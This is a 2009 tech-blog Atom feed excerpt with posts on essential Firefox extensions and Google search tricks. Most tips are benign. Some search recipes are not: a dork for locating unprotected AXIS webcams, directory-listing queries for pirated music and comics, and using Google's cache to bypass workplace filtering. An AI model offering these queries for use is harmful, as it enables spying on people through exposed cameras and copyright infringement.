&lt;a href="http://feedads.g.doubleclick.net/~a/TubPkRRxRbzpA7pSJQ29hPeuQEs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TubPkRRxRbzpA7pSJQ29hPeuQEs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/8447413864188278916/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=8447413864188278916" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8447413864188278916?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8447413864188278916?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/IxQLfMj84sA/java-native-interface-jni.html" title="The Java Native Interface (JNI)" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2009/08/java-native-interface-jni.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUHRHo-eyp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-9023773132924490834</id><published>2009-08-27T10:56:00.013+02:00</published><updated>2011-05-01T17:37:15.453+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:37:15.453+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Software" /><title>Firefox extensions that every user must have</title><content type="html">&lt;div style="text-align: justify;"&gt;Firefox's extensibility is one of its great advantages. There are so many plug-ins that it's hard to tell which add-ons are worth of install. So don't waste more time - here's my 15 essential Firefox extensions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;1. Copy plain text&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Ever copied something from the web into a document only to have it ruined because the formatting is also copied? Fix this by getting &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/134" rel="nofollow"&gt;Copy as Plain Text&lt;/a&gt;. Once it's installed, highlight some text, right-click on it and choose 'Copy as plain text' to do just that.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;2. Encrypt and decrypt or data&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Send and receive data over the internet can be very unsafe. &lt;a href="http://getfiregpg.org/" rel="nofollow"&gt;FireGPG&lt;/a&gt; is a &lt;em&gt;Firefox&lt;/em&gt; extension under MPL which brings an interface to encrypt, decrypt, sign or verify the signature of text in any web page using GnuPG.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;3. Get TinyURLs&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
This add-on lets you create shortened URLs without having to go to a separate web page. Install &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/126" rel="nofollow"&gt;TinyURL Creator&lt;/a&gt;. Now browse to the site you want to share, right-click anywhere and choose 'Create TinyURL for this page'. The result is automatically copied to the clipboard.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;4. Use hyperwords&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
For the Swiss army knife of text add-ons, get &lt;a href="http://www.hyperwords.net/" rel="nofollow"&gt;Hyperwords&lt;/a&gt;. Once installed, it provides you with a dizzying array of options for highlighted text through its right-click menu. Choose 'Search' and then select from Google, the current site or a range of news sites and social-networking services for immediate search results. You can also look up the selection in a range of reference sites, including Wikipedia and the Urban Dictionary. There are also options to translate the text or share it with others.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;5. Resurrect pages&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
When a website that you need goes down, you can hunt through each of the various caching services manually to find a snapshot of it, but this can be time-consuming. &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/2570" rel="nofollow"&gt;The Resurrect Pages extension&lt;/a&gt; does the hard work for you, replacing the standard 'page cannot be displayed' message with one that includes links to web cache services. Use these to quickly see if a service has a cached version of the page you want.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;6. Avoid typos&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
It's easy to make a mistake when typing in a web address. &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/2871" rel="nofollow"&gt;URL Fixer&lt;/a&gt; anticipates common mistakes and sets them right so that you're not left with a broken link. It won't catch every slip, but it will help reduce your irritation levels a little.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;7. Block ads&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Adverts can be a big irritation. The &lt;a href="http://adblockplus.org/en/" rel="nofollow"&gt;AdBlock Plus extension&lt;/a&gt; enables you to block adverts that you don't want to see while allowing you to permit them for other sites. You can also set it up to block content from a number of different subscription services, and opt to turn off its filter for sites that you approve of.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;8. Block script&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Some sites execute code without your explicit permission. In a few cases, like that of the Twitter worm Mikeyy, this can be abused. &lt;a href="http://noscript.net/" rel="nofollow"&gt;No Script&lt;/a&gt; blocks all third-party scripts – including JavaScript, Java and Flash objects – until you give your permission for them to run. You can also identify sites as trusted so that you're not constantly vetting scripts on familiar pages.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;9. Pretend to be IE&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Some webmasters are wise to the fact that Firefox users can block ads and scripts with plug-ins, so they prevent access to their sites for people using Firefox. &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/59" rel="nofollow"&gt;User Agent Switcher&lt;/a&gt; disguises your browser as Internet Explorer to get round this restriction. The utility adds a sub-menu to the Tools menu that enables you to select the browser and OS that you want to display to sites.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;10. Run IE in Firefox&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Some sites need Internet Explorer to render properly. Rather than close Firefox, try &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1419" rel="nofollow"&gt;IE Tab&lt;/a&gt;. Right-click and choose 'Open Page in IE tab' to open a new tab that emulates Internet Explorer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;11. Add Google Bookmarks&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Use the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/2888" rel="nofollow"&gt;GMarks extension&lt;/a&gt; to integrate your Google Bookmarks with Firefox. Log into your Google account to replace the existing Bookmarks menu and Bookmarks Toolbar folder with GMarks. This is a handy way to keep all of your bookmarks in one place.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;12. Add Delicious Bookmarks&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/134" rel="nofollow"&gt;Delicious Bookmarks&lt;/a&gt; is the official Firefox add-on for Delicious, the world's leading social bookmarking service (formerly del.icio.us). It integrates your bookmarks and tags with Firefox and keeps them in sync for easy, convenient access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;13. Add bookmarks from IE&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Another bookmark synchronising add-on is &lt;a href="http://www.xmarks.com/" rel="nofollow"&gt;Xmarks&lt;/a&gt; that has evolved from an earlier extension known as Foxmarks. You can use it to synchronise your bookmarks with Internet Explorer and Safari, meaning that you'll have quick access to your favourite pages no matter which browser you're using. It also provides site suggestions and community feedback.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;14. Check site security&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
McAfee's &lt;a href="http://www.siteadvisor.com/" rel="nofollow"&gt;Site Advisor add-on&lt;/a&gt; provides a service that's focused on making sure that you're safe online. When you run a Google search, each result is either rated as 'safe' or has any potential problems flagged. Hover over the Site Advisor icon next to the result to find out more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;15. Hide your tabs&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
You want to leave some page running but you have too many pages opened ? Use the add-on to hide/unhide individual tabs.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-9023773132924490834?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Z-ueN9CU4-KX_-yj8w-3xiyv1iY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Z-ueN9CU4-KX_-yj8w-3xiyv1iY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Z-ueN9CU4-KX_-yj8w-3xiyv1iY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Z-ueN9CU4-KX_-yj8w-3xiyv1iY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/9023773132924490834/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=9023773132924490834" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/9023773132924490834?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/9023773132924490834?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/5vnTm7_IM2U/firefox-extensions-that-every-user-must.html" title="Firefox extensions that every user must have" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://www.think-techie.com/2009/08/firefox-extensions-that-every-user-must.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYNQ3gyeip7ImA9WxFRGEo.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-7498950672201315432</id><published>2009-08-07T11:29:00.012+02:00</published><updated>2010-05-03T11:16:32.692+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-03T11:16:32.692+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips and Tricks" /><category scheme="http://www.blogger.com/atom/ns#" term="Google" /><category scheme="http://www.blogger.com/atom/ns#" term="Internet" /><title>Top Google Search Tricks</title><content type="html">&lt;div style="text-align: justify;"&gt;When it comes to the Google search box, you already know some tricks: finding exact phrases matches using quotes or searching a single site using site:example.com gmail. But there are many more oblique, clever, and lesser-known search recipes and operators that work from that unassuming little input box. Dozens of Google search guides detail the tips you already know, but today i will present my favorite obscure Google web search tricks.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;1. Explicit Phrase:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Lets say you are looking for content about internet marketing.  Instead of just typing internet marketing into the Google search box, you will likely be better off searching explicitly for the phrase.  To do this, simply enclose the search phrase within double quotes.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=internet+marketing%22&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=g10" rel="nofollow"&gt;"internet marketing"&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;2. Exclude Words:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Lets say you want to search for content about internet marketing, but you want to exclude any results that contain the term advertising.  To do this, simply use the "-" sign in front of the word you want to exclude.&lt;br /&gt;
&lt;br /&gt;
Example Search: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=internet+marketing+-advertising&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=" rel="nofollow"&gt;internet marketing -advertising&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;3. Site Specific Search:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Often, you want to search a specific website for content that matches a certain phrase.  Even if the site doesn’t support a built-in search feature, you can use Google to search the site for your term. Simply use the "site:somesite.com" modifier.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=%22internet+marketing%22+site%3Awikipedia.org&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=" rel="nofollow"&gt;"internet marketing" site:wikipedia.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;4. Similar Words and Synonyms:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Let’s say you are want to include a word in your search, but want to include results that contain similar words or synonyms.  To do this, use the "~" in front of the word.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=castle+%7Eglossary&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=" rel="nofollow"&gt;castle ~glossary&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;5. Specific Document Types:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you’re looking to find results that are of a specific type, you can use the modifier "filetype:".  For example, you might want to find only PowerPoint presentations related to internet marketing.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=%22internet+marketing%22+filetype%3Appt&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=" rel="nofollow"&gt;"internet marketing" filetype:ppt&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;6. This OR That:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
By default, when you do a search, Google will include all the terms specified in the search.  If you are looking for any one of one or more terms to match, then you can use the OR operator.  (Note:  The OR has to be capitalized).&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=internet+marketing+OR+advertising&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=" rel="nofollow"&gt;internet marketing OR advertising&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;7. Phone Listing:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Let’s say someone calls you on your mobile number and you don’t know how it is.  If all you have is a phone number, you can look it up on Google using the phonebook feature.&lt;br /&gt;
&lt;br /&gt;
Example: phonebook:617-555-1212&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Note&lt;/span&gt;: You’ll have to use a real number to get any results&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;8. Numeric Ranges:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This is a rarely used, but highly useful tip.  Let’s say you want to find results that contain any of a range of numbers.  You can do this by using the X..Y modifier (in case this is hard to read, what’s between the X and Y are two periods.  This type of search is useful for years (as shown below), prices or anywhere where you want to provide a series of numbers.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=president+1940..1950&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=" rel="nofollow"&gt;president 1940..1950&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;9. Calculator:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The next time you need to do a quick calculation, instead of bringing up the Calculator applet, you can just type your expression in to Google.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=48512+*+1.02&amp;amp;btnG=Search" rel="nofollow"&gt;48512 * 1.02&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;10. Word Definitions:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you need to quickly look up the definition of a word or phrase, simply use the "define:" command.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=define%3Aplethora&amp;amp;btnG=Search&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=g1" rel="nofollow"&gt;define:plethora&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;11. Get the local time anywhere&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
What time is it in Bangkok right now? Ask Google. Enter simply time and the place to get the local time in big cities around the world.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?hl=en&amp;amp;q=time%3A+hong+kong&amp;amp;btnG=Search" rel="nofollow"&gt;time hong kong&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;12. Track flight status&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Enter the airline and flight number into the Google search box. Notice that Google now tells you if your flight is on time or delayed, as well as the estimated departure and arrival times.&lt;br /&gt;
&lt;br /&gt;
Example: BA 0011 (It must exist)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;13. Convert currency, metrics, bytes, and more&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Google's powerful built-in converter calculator can help you out whether you're cooking dinner, traveling abroad, or building a PC. Find out how many teaspoons are in a quarter cup (&lt;a href="http://www.google.com/search?hl=en&amp;amp;lr=&amp;amp;q=quarter+cup+in+teaspoons&amp;amp;btnG=Search" rel="nofollow"&gt;quarter cup in teaspoons&lt;/a&gt;) or how many seconds there are in a year (&lt;a href="http://www.google.com/search?hl=en&amp;amp;lr=&amp;amp;q=seconds+in+a+year&amp;amp;btnG=Search" rel="nofollow"&gt;seconds in a year&lt;/a&gt;) or how many euros there are to five dollars (&lt;a href="http://www.google.com/search?hl=en&amp;amp;lr=&amp;amp;q=5+USD+in+Euro&amp;amp;btnG=Search" rel="nofollow"&gt;5 USD in Euro&lt;/a&gt;). For the geekier set, bits in kilobytes (&lt;a href="http://www.google.com/search?hs=0J1&amp;amp;hl=en&amp;amp;lr=&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;amp;q=155473+bytes+in+kilobytes&amp;amp;btnG=Search" rel="nofollow"&gt;155473 bytes in kilobytes&lt;/a&gt;) and numbers in hex or binary (&lt;a href="http://www.google.com/search?hl=en&amp;amp;lr=&amp;amp;q=19+in+binary&amp;amp;btnG=Search" rel="nofollow"&gt;19 in binary&lt;/a&gt;) are also pretty useful.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;14. Compare and find similar items&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Simply search for, in quotes: "better than _keyword_"&lt;br /&gt;
&lt;br /&gt;
The results will almost always lead you to discovering alternatives to whatever it is you're searching for. Using the same concept, you can use this trick to discover new music or movies. For example, " reminds me of _someband_" or "sounds like _someband_" will pull up artists people have thought sounded similar to the one you typed in. This is also a great way to find good, no-name musicians you'd probably never know of otherwise.&lt;br /&gt;
&lt;br /&gt;
Examples:&lt;br /&gt;
Results 1 - 100 of about 550 English pages for " better than WinAmp".&lt;br /&gt;
Results 1 - 57 of 57 English pages for " better than mIRC".&lt;br /&gt;
Results 1 - 88 of 88 English pages for " reminds me of Metallica".&lt;br /&gt;
Results 1 - 36 of 36 English pages for " similar to Garden State".&lt;br /&gt;
Results 1 - 66 of 66 English pages for " sounds like The Shins".&lt;br /&gt;
&lt;br /&gt;
Just get creative and you'll, without a doubt, find cool new stuff you probably never knew existed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;15. Use Google as a free proxy&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
What, your company blocks that hip new web site just because it drops the F bomb occasionally? Use Google's cache to take a peek even when the originating site's being blocked, with cache:example.com.&lt;br /&gt;
&lt;br /&gt;
Example: &lt;a href="http://www.google.com/search?gbv=2&amp;amp;hl=en&amp;amp;q=cache:google.com&amp;amp;ie=UTF-8&amp;amp;sa=N&amp;amp;tab=iw&amp;amp;start=0" rel="nofollow"&gt;cache:google.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;16. Remove affiliate links from product searches&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
When you're sick of seeing duplicate product search results from the likes of eBay, Bizrate, Pricerunner, and Shopping.com, clear 'em out by stacking up the &lt;span style="font-weight: bold;"&gt;-site:ebay.com -site:bizrate.com -site:shopping.com&lt;/span&gt; operator. Alternately, check out &lt;a href="http://www.givemebackmygoogle.com/" rel="nofollow"&gt;Give Me Back My Google&lt;/a&gt;, a service that does all that known reseller cleaning up for you when you search for products.&lt;br /&gt;
&lt;br /&gt;
Example: Compare this &lt;a href="http://www.google.com/search?q=Cruzer+1GB+-site%3Akelkoo+-site%3Aciao+-site%3Abizrate+-site%3Apixmania.co.uk+-site%3Apixmania.com+-site%3Adealtime.com+-site%3Apricerunner.co.uk+-site%3Apricerunner.com+-site%3Apricegrabber+-site%3Apricewatch+-site%3Ashopping.msn.com+-site%3Aresellerratings+-site%3Aepinions.com+-site%3Anextag+-site%3Acomparestoreprices.co.uk+-site%3Aunbeatable.co.uk+-site%3Aebay+-site%3Ashopping.com+-site%3Ashopbot" rel="nofollow"&gt;GMBMG search&lt;/a&gt; for a Cruzer 1GB flash drive to &lt;a href="http://www.google.com/search?q=Cruzer+1GB&amp;amp;btnG=Search" rel="nofollow"&gt;the regular Google results&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;17. Find related terms and documents&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ok, this one's direct from any straight-up &lt;a href="http://www.googleguide.com/advanced_operators_reference.html" ref="nofollow"&gt;advanced search operator cheat sheet&lt;/a&gt;, but it's still one of the lesser-used tricks in the book. Adding a tilde (&lt;span style="font-style: italic; font-weight: bold;"&gt;~&lt;/span&gt;) to a search term will return related terms. For example, Googling &lt;span&gt;~nutrition&lt;/span&gt; returns results with the words nutrition, food, and health in them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;18. Find music and comic books&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Using a combination of advanced search operators that specify music files available in an Apache directory listing, you can turn Google into your personal Napster. The same type of search recipe can find other types of content as well.&lt;br /&gt;
&lt;br /&gt;
Examples:&lt;br /&gt;
-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3) "Beatles"&lt;br /&gt;
-inurl:htm -inurl:html intitle:"index of" "Last modified" spider-man cbr&lt;br /&gt;
-inurl:htm -inurl:html intitle:"index of" "Last modified" simpsons cbr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;19. ID people, objects, and foreign language words and phrases with Google Image Search&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Google Image search results show you instead of tell you about a word. Don't know what beans looks like? Not sure if the person named "Priti" who you're emailing with is a woman or a man? Spanish rusty and you forgot what "corazon" is? Pop your term into &lt;a href="http://images.google.com/" rel="nofollow"&gt;Google Image Search&lt;/a&gt; (or type&lt;span style="font-style: italic; font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;image beans&lt;/span&gt; into the regular search box) to see what your term's about.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;20. Find live webcams with Google&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The trick to find and search for open unprotected Internet webcams that broadcast to the web, is by using the following query: &lt;a href="http://www.google.com/search?q=intitle%3A%22Live+View+%2F+-+AXIS%22+%7C+inurl%3Aview%2Fview.shtml%5E" el="nofollow"&gt;intitle:”Live View / – AXIS” | inurl:view/view.shtml^&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;21. Make Google recognize faces&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If you're doing an image search for Paris Hilton and you don't want any of the French city, a special URL parameter in Google's Image search will do the trick. Add &lt;span style="font-weight: bold;"&gt;&amp;amp;imgtype=face&lt;/span&gt; to the end of your image search to just get images of faces, without any inanimate objects. Try it out with a search for &lt;a href="http://images.google.com/images?svnum=10&amp;amp;hl=en&amp;amp;q=rose" rel="nofollow"&gt;rose&lt;/a&gt; (which returns many photos of flowers) versus &lt;a href="http://images.google.com/images?svnum=10&amp;amp;hl=en&amp;amp;q=rose&amp;amp;imgtype=face" rel="nofollow"&gt;rose&lt;/a&gt; with the face parameter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sources: &lt;br /&gt;
&lt;br /&gt;
1.  &lt;a href="http://lifehacker.com/339474/top-10-obscure-google-search-tricks" rel="nofollow"&gt;Top 10 Obscure Google Search Tricks&lt;/a&gt;&lt;br /&gt;
2. &lt;a href="http://www.wattpad.com/24563" rel="nofollow"&gt;12 Quick Tips To Search Google Like An Expert&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What's your favorite ninja Google search technique?&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-7498950672201315432?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wATTLlh-W6Jp-HlVScOUpOrdyos/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wATTLlh-W6Jp-HlVScOUpOrdyos/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wATTLlh-W6Jp-HlVScOUpOrdyos/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wATTLlh-W6Jp-HlVScOUpOrdyos/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/7498950672201315432/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=7498950672201315432" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/7498950672201315432?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/7498950672201315432?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/gHfmsfyxbcc/top-google-search-tricks.html" title="Top Google Search Tricks" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2009/08/top-google-search-tricks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4BRXs8fCp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-7667386723206876493</id><published>2009-08-05T10:19:00.010+02:00</published><updated>2011-05-01T17:32:34.574+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:32:34.574+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips and Tricks" /><category scheme="http://www.blogger.com/atom/ns#" term="Software" /><title>Prevent websites from resizing Firefox's browser window</title><content type="html">&lt;p style="text-align: justify;"&gt;Firefox is my browser of choice. This browser is now more secure than ever, rock solid, very polished and popular enough that you had dozens of extensions to customize it to your liking.&lt;br /&gt;
